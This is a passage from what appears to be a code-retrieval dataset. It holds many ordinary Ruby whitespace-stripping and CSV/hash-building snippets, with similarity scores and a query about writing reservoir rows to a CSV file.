"def remove_extra_bars(contents)\n\t\t\tcontents = contents.gsub(/\\A\\|/, \"\")\n\t\t\tcontents = contents.gsub(/\\|\\Z/, \"\")\n\t\t\tcontents\n\t\tend",
"def strip_side_space!\n replace self.gsub(/^\\s+/, \"\").gsub(/\\s+$/, $/)\n end",
"def evaporate\n self.gsub(/\\s/, '')\n end",
"def remove_adjacent_whitespace!(chunks)\n (chunks.size - 1).downto(1).each do |i|\n chunk = chunks[i]\n previous_chunk = chunks[i-1]\n chunks.delete_at(i) if chunk == ' ' && previous_chunk.end_with?(' ')\n end\n end",
"def strip_whitespace\n code.gsub!(WHITESPACE_REGEX, ' ')\n\n code\n end",
"def trimmed_whitespace(text)\n text.gsub(/[\\t\\n\\f\\r ]+/ium, ' ')\n end",
"def strip\n lambda do |rec, acc|\n acc.collect! do |v|\n # unicode whitespace class aware\n v.sub(/\\A[[:space:]]+/,'').sub(/[[:space:]]+\\Z/, '')\n end\n end\n end",
"def tighten\n gsub(/[\\t ]+/,' ').strip\n end",
"def unindent\n self.gsub(/^#{self[/\\A\\s*/]}/, \"\")\n end",
"def trimming_for_diff_text(code)\n # gsub(/^\\s*$/, '') means remove empty lines\n code.strip.gsub(/^\\s*$/, '')\n end",
"def cleanup(text)\n text && text.gsub(\"\\t\", ' ').dedent\n end",
"def dewhitespace\n gsub(/\\s+/,' ').strip\n end",
"def unindent(text)\n text.strip.gsub(/^\\s+/, \"\")\n end",
"def strip_selector_space!\n replace self.gsub(/\\n/, \"\").gsub(\",\", \", \").gsub(\", \", \", \")\n end",
"def keep_whitespace\n @keep_whitespace = true\n end",
"def remove_surrounding_brackets!\n\tsub!(/\\A\\s*{\\s*/,\"\")\n\tsub!(/\\s*}\\s*\\Z/,\"\")\n\treturn self\n end",
"def strip!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.left += self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te\n\n self.text_elements.reverse!\n acc = 0\n new_te = self.text_elements.drop_while { |te|\n te.text == ' ' && acc += 1\n }\n self.right -= self.text_elements.take(acc).inject(0) { |m, te| m += te.width }\n self.text_elements = new_te.reverse\n self\n end",
"def white_space(document)\n\tdocument = document.gsub(\"<w:t xml:space=\\\"preserve\\\"> </w:t>\",\"<w:t xml:space=\\\"preserve\\\"> </w:t>\")\n\treturn document\nend",
"def reduce_no_whitespace(_production, _range, _tokens, _children)\n char_shorthand('S')\n end",
"def unindent\n gsub(/^#{self[/\\A\\s*/]}/, \"\")\n end",
"def trim_whitespace=(_arg0); end",
"def unindent_base_old(in_place, warn_first_not_min)\n margins = self.scan(/^[ \\t]*/).map(&:size)\n margins_min = margins.min\n if margins.first != margins_min && warn_first_not_min\n puts \"warning: margin of the first line differs from minimum margin\"\n end\n return in_place ? nil : self.dup unless margins_min != 0\n re = Regexp.new('^\\s{' + margins_min.to_s + '}' )\n in_place ? gsub!(re, '') : gsub(re, '')\n end",
"def scan_whitespace\n\t\t\tappend_scan(/[\\t\\x20]+/, :Spacing, nil)\n\t\tend",
"def clean_up()\n @lines.each { |line| line.delete!(' ') }\n @lines.delete_if { |line| line.start_with?(\"//\") }\n @lines.each { | line| line.chomp! }\n @lines.delete_if { |line| line.empty? }\n @lines = @lines.map { |line| line.split(\"//\")[0] }\n end",
"def normalize_spacing(text)\n text\n .delete(REMOVED_CHARACTERS)\n .tr(SQUEEZED_SPACES, ' ')\n .squeeze(' ')\n .sub(LEADING_SPACES, '')\n .sub(TRAILING_SPACES, '')\n .tr(NON_BREAKING_SPACE, ' ')\n end",
"def unindent(text)\n lines = text.lines\n whitespace = lines.first.scan(/^\\s*/).first\n lines.map do |l|\n l.gsub(/^#{whitespace}/, \"\")\n end.join\nend",
"def strip() end",
"def remove_returns_and_spaces(file_contents)\n clean_file =\n file_contents\n .gsub!(/\\n+/, '')\n .gsub!(/(\\s+)(?![^<])/, '')\n\n clean_file\n end",
"def remove_whitespace_before(index, buffer, rewriter, remove_preceeding_newline)\n end_pos = index\n begin_pos = end_pos - 1\n begin_pos -= 1 while code[begin_pos] =~ /\\s/ && code[begin_pos] != \"\\n\"\n begin_pos -= 1 if code[begin_pos] == \"\\n\"\n begin_pos -= 1 if code[begin_pos] == \"\\n\" && remove_preceeding_newline\n return if begin_pos.next == end_pos\n rewriter.remove Parser::Source::Range.new(buffer, begin_pos.next, end_pos)\n end",
"def strip_all_spaces(text)\n text&&text.gsub(/ |\\xC2\\xA0|\\xA0/, ' ').strip\n end",
"def remove_whitespace\n self.title = self.title.strip\n self.description = self.description.strip\n end",
"def strip_whitespace\n self.tags = tags.gsub(/\\s+/, '')\n # self.tags = tags.strip\n self.title = title.strip\n self.description = description.strip\n # self.keywords = keywords.strip\n self.body = body.strip\n end",
"def clean_whitespace(a)\n\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\n\nend",
"def clean_whitespace(a)\n\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\n\nend",
"def compact_whitespace s\n s.gsub(/\\s+/, ' ').gsub(/>\\s</, '><').strip\n end",
"def strip_trailing_whitespace(code)\n code.gsub(/[ \\t]+$/, '')\n end",
"def strip_blank_lines!\n\t\t# algorithm: figure out what lines to remove - mark and execute\n\t\t# (flag undesirables, then remove them all in one pass)\n\t\t\n\t\t\n\t\t# work inwards from the outside until you fine lines that are not empty\n\t\tmin_i = self.index{ |line| line != \"\" }\n\t\tmax_i = self.rindex{ |line| line != \"\" }\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t# need to keep everything in this range\n\t\t# and discard everything else\n\t\t# (min_i..max_i)\n\t\t# \n\t\t# \n\t\t# need to remove all things in these two ranges\n\t\t# (0..min_i) + (max_i..-1)\n\t\t# well, except the limits need to be moved outwards by one position,\n\t\t# because the initial search find the first non-empty lines\n\t\t# \n\t\t# but, there might only be empty lines on one side or the other\n\t\t\n\t\t\n\t\t# --- figure out what to get rid of\n\t\tlower_range = (0..(min_i-1))\n\t\tupper_range = ((max_i+1)..(self.size-1))\n\t\t\n\t\t\n\t\t# delete ranges if malformed\n\t\tlower_range = nil unless lower_range.max\n\t\tupper_range = nil unless upper_range.max\n\t\t\n\t\t# delete lower range if it is the same as the upper one\n\t\t# (Don't want to try to delete things twice. That could get messy)\n\t\tupper_range = nil if upper_range == lower_range\n\t\t\n\t\t\n\t\t# --- mark and execute\n\t\t# flag unnecessary elements\n\t\tself[lower_range] = nil if lower_range\n\t\tself[upper_range] = nil if upper_range\n\t\t\n\t\t# condense array so only desirables remain\n\t\tself.compact!\n\t\t\n\t\t\n\t\treturn self\n\tend",
"def sanitize_whitespace_during_import!(ke)\n case ke.type\n when :text\n # reduce runs of whitespace and tabs to single space\n ke.value.gsub!(/[ \\t]+/, ' ')\n when :p, :header\n # Remove para or header outer whitespace\n # remove leading whitespace\n if(\n (fc = ke.children.first) &&\n :text == fc.type\n )\n fc.value.gsub!(/\\A[ \\t\\n]+/, '')\n if '' == fc.value\n # remove :text el if it is now empty\n ke.children.delete_at(0)\n # process ke again since there may be new leading whitespace\n sanitize_whitespace_during_import!(ke)\n end\n end\n # remove trailing whitespace\n if(\n (lc = ke.children.last) &&\n :text == lc.type\n )\n lc.value.gsub!(/[ \\t\\n]+\\z/, '')\n if '' == lc.value\n # remove :text el if it is now empty\n ke.children.delete_at(-1)\n # process ke again since there may be new trailing whitespace\n sanitize_whitespace_during_import!(ke)\n end\n end\n end\n end",
"def remove_whitespace_from_list_items!\n @document.tree.search('li span').each { |span| span.inner_html.strip! }\n end",
"def trim\n self.gsub(/^\\s+/,'').gsub(/\\s+$/,'')\n end",
"def outdent( str )\n\t\t\tstr.gsub( /^(\\t|[ ]{1,#{TabWidth}})/, '')\n\t\tend",
"def remove_whitespace(ooxml)\n ooxml.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\nend",
"def clean text\n text.gsub(/(\\n|\\t|\\r)/, ' ').gsub(/>\\s*</, '><').squeeze(' ')\n end",
"def clean t\n # line feed should be removed also\n !t ? '' : t.gsub(\"\\n\",' ').gsub(\"\\t\",' ').strip.gsub(/\\s\\s+/,' ')\nend",
"def clean(code)\n code = code.slice(1) if code[0] == BOM\n code.gsub!(/\\r/, '')\n code.gsub!(TRAILING_SPACES, '')\n if code =~ WHITESPACE\n code = \"\\n#{code}\"\n @chunk_line -= 1\n end\n code\n end",
"def remove_whitespace\n # NOTE: According to the docs, \\s only matches [ \\t\\r\\n\\f], i.e. it does not\n # match e.g. non-breaking space ( ). The POSIX character class\n # [[:space:]] does match non-breaking space. This is relevant because\n # in Heroku, space in ENV variables might be translated as  .\n # DOC: http://ruby-doc.org/core-2.5.1/Regexp.html#class-Regexp-label-Character+Classes\n # SOURCE: http://stackoverflow.com/a/13288542\n gsub(/[[:space:]]/, '')\n end",
"def reduce_whitespace(_production, _range, _tokens, _children)\n char_shorthand('s')\n end",
"def squish\n self.gsub(/[\\n\\t]/, '').squeeze(' ').strip\n end",
"def strip_listing(code)\n code = code.dup\n code.gsub!(/\\t/, \" \")\n lines = code.split(\"\\n\")\n first_code_line = lines.index { |l| l =~ /\\S/ }\n last_code_line = lines.rindex { |l| l =~ /\\S/ }\n code_lines = lines[first_code_line..last_code_line]\n line_indents = code_lines.map { |l| l.index(/\\S/) || 0 }\n min_indent = line_indents.min\n unindented_code = code_lines.map { |l| l[min_indent..-1] }.join(\"\\n\")\n unindented_code.strip\n end",
"def remove_whitespace\n self.time = self.time.strip\n self.description = self.description.strip\n self.venue = self.venue.strip.downcase\n self.location = self.location.strip.downcase\n end",
"def remove_whitespace\n self.description = self.description.strip\n end",
"def clean_whitespace(app)\n git_clean_filesystem\n\n # normalize_whitespace has already cleaned up whitespace if buildr_plus present\n unless File.exist?('vendor/tools/buildr_plus')\n extensions = %w(jsp sass scss xsl sql haml less rake xml html gemspec properties yml yaml css rb java xhtml rdoc txt erb gitattributes gitignore xsd textile md wsdl)\n full_filenames = %w(rakefile Rakefile buildfile Buildfile Gemfile LICENSE)\n\n files_to_dedupe_nl = Dir['etc/checkstyle/*.xml'].flatten + Dir['tasks/*.rake'].flatten + Dir['doc/*.md'].flatten + Dir['*.md'].flatten + Dir['config/*.sh'].flatten + %w(buildfile Gemfile README.md)\n\n files = full_filenames.collect {|file| Dir[\"**/#{file}\"]}.flatten + extensions.collect {|extension| Dir[\"**/*.#{extension}\"] + Dir[\"**/.#{extension}\"]}.flatten\n\n files.each do |f|\n next if /^vendor\\/.*/ =~ f\n next if /^node_modules\\/.*/ =~ f\n\n content = File.read(f)\n original_content = content.dup\n begin\n puts \"Fixing DOS EOL: #{f}\" if content.gsub!(/\\r\\n/, \"\\n\")\n puts \"Fixing Trailing whitespace: #{f}\" if content.gsub!(/[ \\t]+\\n/, \"\\n\")\n puts \"Fixing Double lines: #{f}\" if content.gsub!(/\\n\\n\\n/, \"\\n\\n\") if files_to_dedupe_nl.include?(f)\n content.gsub!(/[ \\r\\t\\n]+\\Z/, '')\n content += \"\\n\"\n rescue\n puts \"Skipping whitespace cleanup: #{f}\"\n end\n if content != original_content\n puts \"Fixing: #{f}\"\n File.open(f, 'wb') do |out|\n out.write content\n end\n end\n end\n end\n\n git_reset_index\n git_add_all_files\n if git_commit('Cleanup whitespace at EOL and EOF.', false)\n puts \"Whitespace cleaned up in #{app}\"\n end\n end",
"def clean_whitespace(a)\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\nend",
"def clean_whitespace(a)\n a.gsub(\"\\r\", ' ').gsub(\"\\n\", ' ').squeeze(\" \").strip\nend",
"def rl_delete_horizontal_space(count, ignore)\r\n start = @rl_point\r\n\r\n while (@rl_point!=0 && whitespace(@rl_line_buffer[@rl_point - 1]))\r\n @rl_point-=1\r\n end\r\n start = @rl_point\r\n while (@rl_point < @rl_end && whitespace(@rl_line_buffer[@rl_point]))\r\n @rl_point+=1\r\n end\r\n if (start != @rl_point)\r\n rl_delete_text(start, @rl_point)\r\n @rl_point = start\r\n end\r\n if (@rl_point < 0)\r\n @rl_point = 0\r\n end\r\n 0\r\n end",
"def decrease_spaces()\n @spaces -= 1\n end",
"def spaces; end",
"def spaces; end",
"def trim_whitespace\n @expression.strip!\n end",
"def remove_segments()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_remove_segments(@handle.ptr)\n end",
"def normalize_whitespace!\n @raw.gsub!(/\\s+/, ' ')\n end",
"def rstrip() end",
"def preserve_whitespace_within(tag)\n @modified_string.gsub!(/<#{tag}>(.|\\n)+?<\\/#{tag}>/) do |match|\n match.gsub(/( )( )+/) { |m| \" \"*m.length }\n end\n self\n end",
"def normalize_leading_spaces(sections)\n sections.map do |section|\n if section.any? && section[0].any?\n leading_space = section[0][0].match(\"^\\s+\")\n if leading_space\n section[0] =\n section[0].map { |line| line.sub(/^#{leading_space.to_s}/, '') }\n end\n end\n section\n end\n end",
"def strip_empty_space\n self.title = title.strip if self.title\n self.preview = preview.strip if self.preview\n self.content = content.strip if self.content\n end",
"def strip_blanks\n self.title = self.title.strip\n self.code = self.code.strip\n end",
"def without_garbage\n reg = Regexp.new /[#{String.characters.join}]+/\n self.scan(reg).join(\"\").gsub(\"\\n\", \" \").gsub(\"|\", \" \").gsub(\"-\", \" \")\n end",
"def whitespace\n @tag_data[:whitespace]\n end",
"def squish!\n gsub!(/\\A[[:space:]]+/, '')\n gsub!(/[[:space:]]+\\z/, '')\n gsub!(/[[:space:]]+/, ' ')\n self\n end",
"def squish!\n gsub!(/\\A[[:space:]]+/, '')\n gsub!(/[[:space:]]+\\z/, '')\n gsub!(/[[:space:]]+/, ' ')\n self\n end",
"def undent\n indent = split(\"\\n\").select { |line| !line.strip.empty? }.map { |line| line.index(/[^\\s]/) }.compact.min || 0\n gsub(/^[[:blank:]]{#{indent}}/, '').chomp\n end",
"def strip_blank_lines\n\t\t# algorithm: keep only the non-blank lines\n\t\t\n\t\t\n\t\t# work inwards from the outside until you fine lines that are not empty\n\t\tmin_i = self.index{ |line| line != \"\" }\n\t\tmax_i = self.rindex{ |line| line != \"\" }\n\t\t\n\t\t\n\t\t# keep only the things inside the range\n\t\trange = (min_i..max_i)\n\t\t\n\t\t\n\t\tunless range.max < range.min # only on ascending\n\t\t\treturn self.each_index.select {|i| range.include? i }\n\t\telse\n\t\t\treturn self.clone\n\t\tend\n\tend",
"def strip_leading_whitespace(text)\n return text if text.empty?\n leading_spaces = text.lines.first[/^(\\s+)/, 1]\n text.gsub(/^#{leading_spaces}/, '')\n end",
"def auto_trim!; end",
"def compact_blank; end",
"def pre_proccess(text)\n text.to_s.strip.gsub(/[[:space:]]+/, ' ').gsub(/\\s{2,}/, ' ')\n end",
"def rstrip!() end",
"def remove_blank_rows\n end",
"def restore_spaces\n gsub(/(?<=\\S)(_|\\.)(?=\\S)/, ' ')\n end",
"def clear_lines lines\n lines = lines.map do |line|\n line = line.gsub(/(\\n)$/, \"\")\n line = line.gsub(/(\\t)/,\"\")\n next if line == \"\\n\"\n end\nend",
"def standard_gap\n \" \"\n end",
"def clean path, indent=0\n path = path.gsub(/.+?\\//, \" \")\n indent == 0 ?\n path :\n path.sub(/^#{indent}/, '')\n end",
"def trim\n self.content = self.content.squeeze(\"\\n\").squeeze(\" \").strip\n end",
"def trim(border = pixels.first)\n dup.trim!\n end",
"def normalize_leading_spaces(sections)\n sections.map do |section|\n if section.any? && section[0].any?\n leading_space = section[0][0].match(\"^\\s+\")\n if leading_space\n section[0] =\n section[0].map{ |line| line.sub(/^#{leading_space.to_s}/, '') }\n end\n end\n section\n end\n end",
"def skip_whitespace\n self.advance while self.current == \" \"\n end",
"def strip!() end",
"def skip_whitespace()\n current = @marker.character\n (current = read_next()) while current == ' ' || current == ?\\t || current == ?\\r\n end",
"def unindent(s)\n s.gsub(/^#{s.scan(/^[ \\t]+(?=\\S)/).min}/, \"\")\n end",
"def kill_cells_in_borders\n (0..@long - 1).each do |long|\n (0..@width - 1).each do |width|\n @matriz[long][width] = ' . ' if long.zero? || (long == @long - 1) || width.zero? || (width == @width - 1)\n end\n end\n end",
"def strip\n manipulate! do |image|\n @_strip = true\n image\n end\n end",
"def normalize_whitespace(text)\n text.to_s.gsub(/[[:space:]]+/, ' ').strip\n end"
] |
[
"0.6816816",
"0.67972803",
"0.6764195",
"0.67106396",
"0.6649246",
"0.6648069",
"0.6604431",
"0.6501035",
"0.644495",
"0.6427563",
"0.64252424",
"0.64028466",
"0.63701874",
"0.6314949",
"0.6307267",
"0.62857145",
"0.62492645",
"0.6239386",
"0.6222667",
"0.6220087",
"0.62038726",
"0.61988384",
"0.616535",
"0.6156821",
"0.6142399",
"0.611327",
"0.60921574",
"0.6050209",
"0.60466456",
"0.6043573",
"0.6037328",
"0.59575945",
"0.595121",
"0.59377575",
"0.5934221",
"0.59258664",
"0.59113246",
"0.5911136",
"0.5903749",
"0.5869705",
"0.58676887",
"0.5867407",
"0.5867407",
"0.58669305",
"0.5865652",
"0.58423424",
"0.5842056",
"0.58335876",
"0.5827658",
"0.5807398",
"0.58069426",
"0.5804206",
"0.58030915",
"0.58004236",
"0.5781224",
"0.5766269",
"0.5764908",
"0.5760592",
"0.57601845",
"0.5748267",
"0.57462806",
"0.5745158",
"0.5745158",
"0.5694226",
"0.56877726",
"0.56827277",
"0.56827277",
"0.5671444",
"0.56612223",
"0.56610006",
"0.5657074",
"0.56568164",
"0.56568134",
"0.5652942",
"0.5652307",
"0.5648885",
"0.5646529",
"0.5635746",
"0.5635746",
"0.56354094",
"0.5621049",
"0.5619414",
"0.5601792",
"0.5588247",
"0.5587357",
"0.55873525",
"0.5583133",
"0.55706316",
"0.5566498",
"0.5549283",
"0.55437607",
"0.5541213",
"0.5538727",
"0.5538117",
"0.5533224",
"0.5532201",
"0.5517467",
"0.5512499",
"0.5508439",
"0.5507423",
"0.5504153"
] |
0.0
|
-1
|
def create_hashes(rows) headers = ["name", "capacity", "storage"] hashes = rows.map do |row| Hash[headers.zip(row)] end hashes end Write to file
|
def csv_writer(rows)
headers = ["name", "capacity", "storage"]
CSV.open("reservoir_data.csv", 'w') do |csv|
csv << headers
rows.each do |row|
csv << row
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def machine_hash(headers,rows)\n # This is just to give a nice data structure (a hash of )\n rows.each_with_index.map do |row, index|\n # todo - rearrange the hash so it is sorted - do we need the row index?\n Hash[headers.each_with_index.map { |header, pos| \n [header, row[pos] ]}\n ].merge('row' => index+2)\n end\n end",
"def to_hsh\n {name => {:columns => columns, :unqiue => unique}}\n end",
"def row_to_hsh(row)\n h = Hash[@headers.zip(row)]\n h.symbolize_keys\n end",
"def hash_creator(filepath)\n hash = Hash.new\n CSV.foreach(filepath, headers: true) do |row|\n student = Student.new(fname = row[0], lname = row[1], email = row[2], section = row[3], major1 = row[4], major2 = row[5], minor1 = row[6], minor2 = row[7])\n if hash.has_key?(student.section)\n array = hash[student.section]\n array.push(student)\n hash[student.section] = array\n else\n array = [student]\n hash[student.section] = array\n end\n end\n return hash\nend",
"def update_csv(rows)\n CSV.open($out_path, \"wb\") do |csv| \n\n csv << rows.first.keys\n\n rows.each do |row| \n csv << row.values\n end\n end\nend",
"def row_hash(row)\n Hash[raw_headers.zip(row)].with_indifferent_access\n end",
"def create_file(hash,folder=\"level_0\",filename=\"mums.csv\")\n\tstr=\"ID1,ID2,Num_Mums,Total_mums_length\\n\"\n\thash.each do |k,v|\n\t\tids = k.split(\"_\")\n\t\tstr += ids[0]+\",\"+ids[1]+\",\"+v[0].to_s+\",\"+v[1].to_s+\"\\n\"\n\tend\n\tFile.open(\"pairwise_mums/\"+folder+\"/\"+filename,\"w\"){|file| file.write(str)}\nend",
"def to_hash\n @data.map do |row|\n hsh = {}\n @field_names.each_with_index.map{ |fld, i| hsh[fld] = row[i] }\n hsh\n end\n end",
"def mapArrayToHash(rowarr, field_names)\n\ta = [] # an array of hashes\n\trowarr.each do |row|\n\t\thash = Hash.new\n\t\t0.upto(field_names.length-1) do |index|\n\t\t\t#puts \"#{index} #{field_names[index]} VALUE= #{row[index]} }\"\n\t\t\thash[field_names[index].downcase.to_sym] = row[index]\n\t\tend\n\t\ta << hash\n\tend\n\ta\nend",
"def hash\n rows.hash\n end",
"def write_rows file_name, names, values\n header = names.join(',') + \"\\n\"\n body = values.map {|row| row.join(',') }.join($/)\n File.open(file_name + \".csv\", 'w') { |f| f.write(header + body) }\nend",
"def make_testdata_reworked_csv_file\n create_column_headers_index_hash \n create_row_headers_index_hash \n clear_testdata_reworked_file\n CSV.open('testdata_reworked.csv', \"wb\") do |csv|\n CSV.foreach('testdata.csv', {headers: true}) do |row| \n row[0] = @column_hash.key(row[0].to_i)\n row[1] = @row_hash.key(row[1].to_i)\n csv << row\n end\n end\nend",
"def create_csv()\n hashes = Transaction.all_as_hashes\n CSV.generate do |csv|\n # Adds the keys as headings on the first line\n csv << hashes.first.keys\n # Iterates through the transactions and populates CSV\n hashes.each do |hash|\n csv << hash.values\n end\n end\n end",
"def create_row_headers_index_hash\n collect_row_headers\n @row_hash = Hash[(0...@row_headers.size).zip(@row_headers)] # ==> {0=>0, 1=>734638, 2=>734639, 3=>734640, 4=>734641, 5=>734642, 6=>734643, 7=>734644, 8=>734645, 9=>734646}\nend",
"def create_query_hash(array)\n names = array.shift\n rval = []\n array.each do |r|\n row = {}\n names.each_with_index { |column, idx| row[column] = r[idx] }\n rval << row\n end\n rval\nend",
"def make_key_hash_for_row(keys, row)\n key_hash = {}\n keys.each {|k|\n key_hash[k] = row[k]\n }\n \n key_hash\nend",
"def create_row(hash)\n raise ORM::TableError, \"Something went wrong.\" unless hash[:id].present?\n\n update_counter(hash[:id])\n result_table = table << hash\n File.write(@table_path, JSON.generate(result_table))\n end",
"def hashNQS()\n @hash_nqs={}\n nqsReader=File.open(@nqsFile,\"r\")\n nqsReader.each do |line|\n cols=line.split(/\\s+/)\n \n name=cols[0]\n next if name==\"readName\"\n length=cols[1]\n dist=cols[2]\n qual=cols[3].to_i\n pass=cols[4]\n \n str_result=length+'.'+pass\n str=name+'.'+dist\n if @hash_nqs[str]==nil\n @hash_nqs[str]=str_result\n end\n end\n nqsReader.close\n $stderr.puts @hash_nqs.size\nend",
"def save_hashes_for_write\n \n end",
"def build_columns_and_rows_hash(db_columns, client, table_names)\n db_columns_and_rows = {}\n\n table_names.each do |table|\n db_columns_and_rows[table] = {}\n\n puts \"table #{table}\"\n\n query = \"select * from #{table}\"\n results = client.query(query)\n\n rows = []\n\n results.each do |row|\n els = []\n row.each do |el|\n els.push(el[1].to_s)\n end\n rows.push(els)\n end\n\n db_columns_and_rows[table]['rows'] = rows\n db_columns_and_rows[table]['columns'] = db_columns[table]\n end\n\n db_columns_and_rows\nend",
"def create_csv_for_GH(csv_data)\n\n csv_string = CSV.open(\"#{$basefile}GH.csv\", \"wb\") do |csv|\n\n csv_data.each do |hash|\n csv << hash\n\n end\n end\n end",
"def array_to_hashes(table_array)\n # Skip rows of empty strings\n while true\n if table_array.size < 2\n return []\n end\n fieldnames = table_array.shift.map {|f| cleanup_field_name(f)}\n if fieldnames.any? {|x| x != \"\"}\n break\n end\n end\n fieldnames.size.times do |i|\n (i + 1 .. fieldnames.size).each do |j|\n # Replace any empty strings with prev non-empty field name followed by 2, 3, ...\n if fieldnames[j] != \"\"\n break\n end\n fieldnames[j] = \"#{fieldnames[i]} #{j - i + 1}\"\n end\n end\n table_array.map {|row| Hash[*fieldnames.zip(row).flatten]}\nend",
"def build_row_hash(row)\n if(!row.cells[0].value) # skip empty rows\n return nil # Skip row if no name or header\n elsif(row.cells[0].datatype == \"s\" && row.cells[0].value.match(/name|item|\\A\\D*\\Z/i))\n @errors << { :part_number => \"N/A\", :condition => \"N/A\", :message => \"Found and skipped excel header\" }\n return nil # Skip row if header\n end\n\n product_name = row.cells[0].value.to_s\n\n # If name is mopar part number\n if product_name.match(/^\\d{7}/)\n product_name = product_name[0,7]\n end\n\n # handle date formatting from excel\n if row.cells[1].value.is_a?(DateTime)\n my_category = row.cells[1].value.strftime(\"%-m-%-d\")\n else\n my_category = row.cells[1].value.to_s\n end\n\n @product_row = {\n :name => product_name,\n :category => my_category,\n :description => (row.cells[2] ? row.cells[2].value.tr('***', '').chomp('-') : ''),\n :meta_keywords => (row.cells[3] ? row.cells[3].value : ''),\n :price => (row.cells[9] ? row.cells[9].value : 0),\n :core => (row.cells[10] ? row.cells[10].value : 0),\n :cost => (row.cells[15] ? row.cells[15].value : 0),\n :vendor => (row.cells[16] ? row.cells[16].value : ''),\n :vendor_price => (row.cells[17] ? row.cells[17].value : 0),\n :vendor_part_number => (row.cells[18] ? row.cells[18].value : ''),\n :length => (row.cells[19] ? row.cells[19].value : ''),\n :width => (row.cells[20] ? row.cells[20].value : ''),\n :height => (row.cells[21] ? row.cells[21].value : ''),\n :weight => (row.cells[22] ? row.cells[22].value : ''),\n :notes => (row.cells[12] ? row.cells[12].value : ''),\n :application => (row.cells[4] ? row.cells[4].value : ''),\n :location => (row.cells[5] ? row.cells[5].value : ''),\n :condition => (row.cells[6] ? row.cells[6].value : ''),\n :cross_ref => (row.cells[7] ? row.cells[7].value : ''),\n :cast_num => (row.cells[8] ? row.cells[8].value : ''),\n :available => (row.cells[13] ? row.cells[13].value : 'N'), # for sale? (count in inventory)\n :active => (row.cells[14] ? row.cells[14].value : 'FALSE'), # active (visible to users)\n :quantity => (row.cells[11] ? row.cells[11].value : 0),\n :package => (row.cells[23] ? row.cells[23].value : '')\n }\n\n end",
"def generate_data_hash(data_array)\r\n data_hash = {}\r\n data_array.each_index do |x|\r\n d = convert_to_string(data_array[x])\r\n d = clean_string(d)\r\n row = x + 1\r\n data_hash[row] = d unless d.nil?\r\n end\r\n # deleting the first row which contains the column header and not\r\n # a value\r\n data_hash.delete_if{|k,v| k == 1}\r\n\r\n return data_hash\r\n end",
"def write_out(rows)\n File.open(file_name, 'w') do |f|\n f.puts rows\n end\n end",
"def export_csv(filename)\n game_matchups = []\n CSV.foreach(filename, headers: true) do |row|\n game_matchups << row.to_hash\n end\n game_matchups\nend",
"def export_csv(filename)\n game_matchups = []\n CSV.foreach(filename, headers: true) do |row|\n game_matchups << row.to_hash\n end\n game_matchups\nend",
"def hash_of_hashes\n Hash.new do |h1, k1|\n h1[k1] = Hash.new { |h, k| h[k] = [] }\n end\n end",
"def insert_to_csv(file_name, user_info, score_hash)\n CSV.open(\"tmp/#{file_name}\", \"a+\") do |csv|\n row_data = []\n\n @headers_key.each do |key|\n row_data << if USER_KEYS.include?(key)\n user_info[key]\n else\n score_hash[key]\n end\n end\n\n csv << row_data\n end\n end",
"def to_hash(row)\n r = {}\n row.each_with_index { |v, i| r[@cols[i]] = v }\n r\n end",
"def raw_table_to_hash tbl\n fixd_hsh = tbl.reject{|arr| arr.blank?}.inject({}) do |h,arr|\n title = arr.first.downcase.gsub(/[-\\s]/, '_').to_sym\n val = arr.last.gsub(\",\",\"\")\n h[title] = val\n h\n end\n fixd_hsh\n end",
"def writeCSV(file_name)\n generated_array = transaction(file_name)\n array_from_csv = read_file(file_name)\n final_hash = merge_arrays(array_from_csv, generated_array)\n binding.pry\n\n CSV.open(\"results.csv\", \"w\") do |row|\n final_hash.each do |nested_hash|\n row << [nested_hash[\"SKU\"], nested_hash[\"quantity\"]]\n end #end each nested_hash loop\n end #end csv loop\nend",
"def create(data)\n file = File.open(@file, \"w\")\n CSV(file, col_sep: \",\") do |csv|\n csv << data.map{ |test| test[:identifier] }\n csv << data.map{ |test| test[:runtime] }\n end\n file.close\n end",
"def student_data_hash\n\n # turn data into 2 Dim array containing arrays of eles where delimiter is colon :\n clean_user_account_data = ruby_class_user_accounts.map { |x| x.split(/:/) }\n\n # turn data into a hash using 2 arrays for keys and values\n keys = %w[user_name password uid gid gcos_field home_directory login_shell]\n final_array_of_hashes = []\n\n clean_user_account_data.each do |account_data|\n hash = Hash.new\n keys.each_with_index { |item, index| hash[item] = account_data[index] }\n final_array_of_hashes << hash\n end\n final_array_of_hashes\n end",
"def build_inventory_hash(row)\n if(!row.cells[0].value) # skip empty rows\n return nil # Skip row if no name or header\n elsif(row.cells[0].datatype == \"s\" && row.cells[0].value.match(/name|item|\\A\\D*\\Z/i))\n @errors << { :part_number => \"N/A\", :condition => \"N/A\", :message => \"Found and skipped excel header\" }\n return nil # Skip row if header\n end\n\n product_name = row.cells[0].value.to_s\n\n # Get name (and condition if specified)\n if matches = product_name.match(/^(\\d{7})(.*)/)\n product_name = matches[1]\n condition = matches[2] != \"\" ? matches[2] : \"\"\n end\n\n @inventory_row = {\n :name => product_name,\n :condition => condition,\n :location => row.cells[1].value,\n :quantity => row.cells[3].value\n }\n\n end",
"def put_many(table_name, row, column_value)\n table = HTable.new(@hbase.configuration, table_name)\n p = Put.new(*jbytes(row))\n column_value.each_pair { |name, value|\n sub_strings = name.split(':')\n column = sub_strings[0]\n qualifier = \"\"\n if sub_strings.length == 2\n qualifier = sub_strings[1]\n end\n p.add(*jbytes(column, qualifier, value))\n }\n table.put(p)\nend",
